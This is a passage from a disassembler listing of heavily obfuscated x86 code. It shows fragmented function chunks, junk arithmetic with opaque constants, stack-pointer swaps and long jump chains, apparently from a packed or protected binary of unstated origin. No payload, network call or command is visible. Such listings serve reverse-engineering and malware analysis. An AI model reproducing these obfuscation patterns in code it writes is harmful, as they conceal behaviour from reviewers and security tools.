; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5AEE6D:				; CODE XREF: sub_59A7E7+B9C3j
		or	dl, 0EFh
		push	bx
		mov	bh, 4Dh
		xor	dl, bh
		mov	bx, word ptr [esp+0Eh+var_10+2]
		jmp	loc_5AC956
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AEE7F:				; CODE XREF: sub_5992DA+10646j
		mov	ch, 56h
		jmp	loc_59AD09
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5AEE86:				; CODE XREF: sub_5A8215-4D73j
		pop	esi
		push	ebx
		jmp	loc_59F50A
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AEE8D:				; CODE XREF: sub_59BA35+293Aj
					; sub_59EE3E+992Ej
		sub	dl, bh
		pop	ebx
		xor	al, dl
		push	[esp-10h+arg_C]
		jmp	loc_5AD441
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AEE9A:				; CODE XREF: sub_5992DA+14480j
		mov	edi, 1F4C6D3Ch
		inc	edi
		add	edi, 39C5E84Fh
		sub	edx, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		add	edx, 510327D8h
		push	eax
		mov	eax, 30DE0895h
		add	edx, 0B813E87h
		sub	edx, eax
		sub	edx, 0B813E87h
		pop	eax
		sub	edx, 4CD879CEh
		add	edx, eax
		add	edx, 4CD879CEh
		add	edx, 30DE0895h
		sub	edx, 510327D8h
		jmp	sub_5AF46F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5AEEEB:				; CODE XREF: sub_59D37E+DDD5j
		add	dh, 8Ah
		jnb	loc_5AC23C
		shr	dh, 8
		xor	dh, 56h
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	al, al
; END OF FUNCTION CHUNK	FOR sub_59D37E
; START	OF FUNCTION CHUNK FOR sub_5AF2DF


loc_5AEF02:				; CODE XREF: sub_5AF2DF+9j
		mov	esi, 761E0DC3h
		jmp	loc_5ADE02
; END OF FUNCTION CHUNK	FOR sub_5AF2DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AEF0C:				; CODE XREF: sub_59D6B8:loc_5A6441j
		or	edx, 3F6E7796h
		ja	loc_5A882F
		push	ecx
		jmp	loc_5A754E
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, 4
		pop	edi


loc_5AEF25:				; CODE XREF: sdfs____:0059BC31j
		sub	[esp], edx
		sub	dword ptr [esp], 0D556BCh
		mov	edx, [esp]
		jmp	loc_5A2375
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEF37:				; CODE XREF: sub_5AA2D1-9357j
		push	[esp+14h+var_14]
		mov	ebp, [esp+18h+var_1A+2]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3127
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_5AEF54:				; CODE XREF: sub_59D18A+12937j
		pop	ebx
		sub	esp, 4
		jmp	loc_59F8D3
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEF5D:				; CODE XREF: sub_5AA2D1:loc_5A9079j
		add	eax, 58727A36h
		jmp	loc_59B377
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5AEF67:				; CODE XREF: sub_5A2166-642Ej
		shl	ecx, 5
		neg	ecx
		inc	ecx
		sub	ecx, 0AF76B78Dh
		sub	esi, ecx
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		push	3C7Bh
		mov	[esp-4+arg_0], ebx
		mov	ebx, 147768CAh
		sub	esi, ebx
		jmp	loc_5AF68E
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AEF93:				; CODE XREF: sub_59EE3E-477Fj
		push	2A296F8Bh
		pop	ebp
		or	ebp, 67D8626Ah
		add	ebp, 0BD66BA69h
		mov	edx, ebp
		pop	ebp
		inc	edx
		push	ecx
		mov	ecx, 668A452Dh
		add	ecx, 3B4663Ch
		and	ecx, 28E13AB2h
		dec	ecx
		jmp	loc_5ABCFF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5AEFC1:				; CODE XREF: sub_5AD795-A332j
		mov	ecx, [esp+0]
		push	ecx
		jmp	loc_599892
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AEFCA:				; CODE XREF: sub_5AA2D1+5342j
		add	esi, 46AA2008h
		jmp	loc_5A7123
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5AEFD5:				; CODE XREF: sub_5A18F6-EFEj
		pop	edx
		pop	[esp+8+var_8]
		pop	esp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_5A9A19
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AEFE8:				; CODE XREF: sub_5A7BA0-74C8j
		add	ecx, eax
		add	ecx, 58DF7D45h
		pop	eax
		push	edi
		mov	edi, 5E900ACh
		not	edi
		and	edi, 5D201D16h
		add	edi, 0F38202CAh
		jmp	loc_5AFFD5
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF00A:				; CODE XREF: sub_5AA2D1+EFBj
		add	esi, 3BEA0402h
		add	esi, ebx
		sub	esi, 3BEA0402h
		pop	ebx
		jmp	loc_5A2CDC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5AF01E:				; CODE XREF: sub_5AFA26-ACB3j
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		pop	eax
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	dx
		push	ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5AF038:				; CODE XREF: sub_5B0377-1057Ej
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		push	1CC9h
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_4]
		jmp	loc_59DBB4
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5AF051:				; CODE XREF: sub_5A405F+11j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5ACD68
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF061:				; CODE XREF: sub_59C979+2CBEj
		xchg	ecx, [esp+6+var_6]
		pop	esp
		and	edi, 220D2111h
		jmp	loc_59CA17
; ---------------------------------------------------------------------------


loc_5AF070:				; CODE XREF: sub_59C979+C3j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+4+var_6+2]
		mov	esp, [esp+4+var_6+2]
		jmp	loc_59DB5A
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF08C:				; CODE XREF: sub_5992DA+58FDj
		pop	eax
		jmp	loc_5A6FFA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5AF092:				; CODE XREF: sub_5A9EBF-211Dj
		inc	ebx
		jle	loc_5A402E
		push	eax
		jmp	loc_5A19AE
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
		mov	cl, ch
; START	OF FUNCTION CHUNK FOR sub_5AE824


loc_5AF0A4:				; CODE XREF: sub_5AE824+1Aj
		add	esp, 4
		sub	edi, 4E510AF1h
		add	edi, ebx
		add	edi, 4E510AF1h
		mov	ebx, [esp+4+var_4]
		jmp	loc_5A64E7
; END OF FUNCTION CHUNK	FOR sub_5AE824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A94C


loc_5AF0BD:				; CODE XREF: sub_59A94C+129BCj
		pop	edi
		push	ebx
		push	[esp+10h+var_C]
		pop	ebx
		pop	[esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, 6FBB06D2h
		neg	ebp
		xor	ebp, 27FD771Fh
		push	edx
		mov	edx, 1A3A1DB0h
		or	ebp, edx
		jmp	loc_59F4E1
; END OF FUNCTION CHUNK	FOR sub_59A94C
; ---------------------------------------------------------------------------


loc_5AF0E3:				; CODE XREF: sdfs____:005B033Dj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4
		mov	ebp, ecx
		pop	ecx
		add	edi, 76BF30D7h
		add	edi, ebp
		sub	edi, 76BF30D7h
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		jmp	loc_5A1A58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5AF116:				; CODE XREF: sub_5A3E64-1B0Cj
		or	eax, 1ADB523Dh
		add	eax, 5E69152Dh
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 7D5516F5h
		sub	ecx, 0BEEC82C7h
		jmp	loc_59E72B
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AF139:				; CODE XREF: sub_59CBE1+E798j
		pop	ebx
		xor	edx, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], edx
		jmp	loc_5A08D3
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AF145:				; CODE XREF: sub_5AD993-1191Cj
		shl	ebx, 3
		not	ebx
		add	ebx, 1
		shl	ebx, 2
		jmp	loc_5A4415
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF155:				; CODE XREF: sub_5992DA+B023j
		add	esp, 4
		add	esp, 4
		jmp	loc_59A99C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AF166:				; CODE XREF: sub_59D6B8+13EDj
		shl	ecx, 8
		shr	ecx, 1
		inc	ecx
		neg	ecx
		xor	ecx, 0BBE94B4h
		sub	edx, ecx
		jmp	loc_599B8E
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5AF17B:				; CODE XREF: sub_5AC18D-4E31j
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebx
		push	2DFCh
		mov	[esp+0], edx
		jmp	loc_5A5410
; END OF FUNCTION CHUNK	FOR sub_5AC18D

; =============== S U B	R O U T	I N E =======================================



sub_5AF18F	proc near		; CODE XREF: sub_5B03B3-C8B0j

; FUNCTION CHUNK AT 005A6326 SIZE 00000010 BYTES

		sub	esp, 4
		jmp	loc_5A6326
sub_5AF18F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5AF19A:				; CODE XREF: sub_5A809B-3AF5j
		mov	[esp-8+arg_0], ecx
		push	ecx
		jmp	loc_5A60BC
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5AF1A3:				; CODE XREF: sub_59F4D2+9C64j
		mov	[esp-8+arg_4], eax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF1AB:				; CODE XREF: sub_5AA2D1-1065Fj
		sub	edx, 0C1880FC6h
		mov	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	205Fh
		jmp	loc_59FE79
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AF1C6:				; CODE XREF: sub_59D6B8+10C69j
		jo	loc_5AF369
		sub	eax, 0B355EB16h
		xor	ecx, eax
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		add	[esp+1Ch+var_1C], 3D424672h
		pop	edx
		sub	edx, 3D424672h
		pop	ecx
		sub	eax, 3325C40h
		add	eax, 4E8657FCh
		sub	eax, 485174E6h
		sub	eax, 6D382BCEh
		sub	eax, edx
		add	eax, 6D382BCEh
		add	eax, 485174E6h
		sub	eax, 4E8657FCh
		add	eax, 3325C40h
		pop	edx
		jmp	loc_5A5C02
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_5AF21C:				; CODE XREF: sub_5AE72D-1555Dj
		mov	edx, [esp+0Ch+var_C]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		jmp	loc_5AE1EE
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5AF233:				; CODE XREF: sub_5B0377-1245Ej
		mov	ecx, 7F053BF8h
		add	ecx, 6A344D1Ah
		shl	ecx, 5
		not	ecx
		shr	ecx, 5
		push	edi
		push	edx
		mov	edx, 7F97206Ch
		jmp	loc_59AEBE
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_5AF252:				; CODE XREF: sub_5AB207-D418j
		push	dword ptr [esp+0]
		pop	ebp
		push	edi
		jmp	loc_5A8C20
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_5AF25C:				; CODE XREF: sub_5ADD13+8j
		pop	ebp
		neg	eax
		xor	eax, 0BFBFFEF0h
		add	ebx, eax
		jmp	loc_5993E9
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AF26B:				; CODE XREF: sub_5A63DC-33B6j
		push	dword ptr [esp+0]
		jmp	loc_59C809
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF273:				; CODE XREF: sub_5992DA:loc_5AAEACj
		shl	ebp, 6
		jp	loc_59F2E9
		shl	ebp, 5
		add	ebp, 0D2459004h
		jmp	loc_5A518C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AF28A:				; CODE XREF: sub_5ADD33-526Aj
		add	eax, 4
		jmp	loc_59B2A6
; END OF FUNCTION CHUNK	FOR sub_5ADD33

; =============== S U B	R O U T	I N E =======================================



sub_5AF294	proc near		; DATA XREF: sdfs____:00599080o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059ABE4 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059D8B8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F6E0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0739 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A2476 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A3C6F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6343 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A6FBF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A829E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A83C3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A870C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9147 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A93CA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A95A9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AADC6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005ABEB2 SIZE 00000010 BYTES

		mov	ax, word ptr [esp-4+arg_0]
		push	36D4h
		mov	[esp+0], esi
		push	esp
		mov	esi, [esp+4+var_4]
		jmp	loc_5A2476
sub_5AF294	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5AF2A9:				; CODE XREF: sub_599CC6+6DD7j
		push	16A0h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_599CA2
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5AF2C1:				; CODE XREF: sub_5A5EFF+976Fj
		sub	eax, ebx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		jmp	loc_5AAB0F
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5AF2CE:				; CODE XREF: sub_5A4D9D+9B70j
		sub	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_5A3DE5
; END OF FUNCTION CHUNK	FOR sub_5A4D9D

; =============== S U B	R O U T	I N E =======================================



sub_5AF2D9	proc near		; CODE XREF: sub_59EE3E:loc_59A33Bj
					; sub_5A996F-E65Ej

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005999C3 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059A632 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A9C5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059AEC8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B000 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0059B087 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C378 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C773 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CC86 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D5A6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FDA7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0D5B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A197C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1CD5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A22B9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A28F7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A43F8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A60E1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A70EA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A770C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A9A72 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9B64 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AA01E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AA341 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB73A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ABC8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD38D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AE38A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AED5B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AFB27 SIZE 00000027 BYTES

		push	ebx
		jmp	loc_5A22B9
sub_5AF2D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AF2DF	proc near		; CODE XREF: sub_5B01F7-36D1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005ADE02 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AEF02 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_5AEF02
sub_5AF2DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AF2ED:				; CODE XREF: sub_5992DA+13A7Bj
		push	edx
		push	[esp-4+arg_0]
		pop	ebx
		add	esp, 4
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5A2407
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5AF300:				; CODE XREF: sub_59FB1A+7E19j
		mov	[esp+4+var_6+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_6+2]
		pop	esp
		push	eax
		mov	al, bh
		mov	cl, al
		jmp	loc_5A8C7C
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB73


loc_5AF31C:				; CODE XREF: sub_59BB73+1B40j
		mov	edx, 6EE804E0h
		mov	ebx, 9117FB24h
		add	ebx, edx
		pop	edx
		sub	edx, 3D0437DBh
		sub	edx, ebx
		add	edx, 3D0437DBh
		jmp	loc_599D28
; END OF FUNCTION CHUNK	FOR sub_59BB73
; ---------------------------------------------------------------------------


loc_5AF33C:				; CODE XREF: sdfs____:005A7610j
		mov	edx, esp
		push	eax
		mov	eax, 39C01E21h
		push	edi
		mov	edi, 7E266DFh
		shl	edi, 2
		and	edi, 728D7D91h
		jmp	loc_5ACBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5AF358:				; CODE XREF: sub_5A81C4-4B80j
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp+4+var_4]
		jmp	loc_5A3D78
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AF369:				; CODE XREF: sub_59D6B8:loc_5AF1C6j
		sub	eax, 0B355EB16h
		xor	ecx, eax
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	ecx
		jmp	loc_5A6DFE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AF37F:				; CODE XREF: sub_5B01F7-A3E7j
		pop	edx
		and	ebp, 3E404271h
		push	ebx
		mov	ebx, 50125F9Dh
		or	ebx, 56B16C01h
		jmp	loc_5ADE45
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF397:				; CODE XREF: sub_59C979+BD79j
		jmp	loc_5AF4BB
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	40FCh
		jmp	loc_599B56

; =============== S U B	R O U T	I N E =======================================



sub_5AF3AA	proc near		; DATA XREF: sdfs____:00598EB8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059E541 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A2119 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A29BD SIZE 00000008 BYTES

		mov	ax, [esp+0]
		push	eax
		push	3391h
		mov	[esp+8+var_8], esp
		push	edi
		push	4
		pop	edi
		add	[esp+0Ch+var_8], edi
		mov	edi, [esp+0Ch+var_C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2119
sub_5AF3AA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF3D3:				; CODE XREF: sub_5AA2D1-31ACj
		sub	esi, 46AA2008h
		pop	eax
		push	esi
		push	[esp-0Ch+arg_C]
		pop	esi
		jmp	loc_5A5654
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AF3E5:				; CODE XREF: sub_5A477C-843Bj
		push	edx
		pop	ebp
		pop	edx
		push	ecx
		mov	ecx, 2D677C59h
		jmp	loc_5AED3B
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5AF3F3:				; CODE XREF: sub_59D37E+46AEj
		add	cl, 1
		xor	cl, 0A3h
		shl	cl, 3
		dec	cl
		neg	cl
		xor	cl, 0FAh
		sub	al, cl
		jmp	loc_59EFE7
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5AF40A:				; CODE XREF: sub_59B2E4+C5A7j
		xor	esi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		jmp	loc_5A3352
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF416:				; CODE XREF: sub_5AA2D1+47D6j
		or	eax, 2DE16043h
		jmp	loc_5A93DE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	4B63h
		jmp	loc_5AA236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AF42D:				; CODE XREF: sub_5AA2D1+2093j
		and	ah, 0C7h
		push	ecx
		mov	ch, 0B3h
		sub	ch, 5Ch
		add	ah, ch
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		push	ebx
		jmp	loc_5A5D87
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		mov	ch, 12h
		jmp	loc_5A7BC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5AF44F:				; CODE XREF: sub_5AD243-1924j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		sub	eax, ebp
		push	dword ptr [esp+0]
		jmp	loc_59AAE5
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AF466:				; CODE XREF: sub_59C979-4AAj
		xor	edx, esi
		xor	esi, edx
		jmp	loc_5A2324
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_5AF46F	proc near		; CODE XREF: sub_5992DA+15C0Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D15D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059E5A7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A0B76 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A4020 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6C51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8DA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA0F3 SIZE 00000022 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	edi
		push	58502B73h
		pop	edi
		add	edi, 14B9129Bh
		jg	loc_5AA0F3
		sub	edi, 6D6569AEh
		xor	edi, 9A67C652h
		mov	esi, edi


loc_5AF499:				; CODE XREF: sub_5AA2D1:loc_5A06A4j
					; sub_59E325+7F8Ej
		pop	esp
		jmp	loc_59D15D
sub_5AF46F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_5AF49F:				; CODE XREF: sub_59FC02+8795j
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+0], edx
		push	5554h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edx
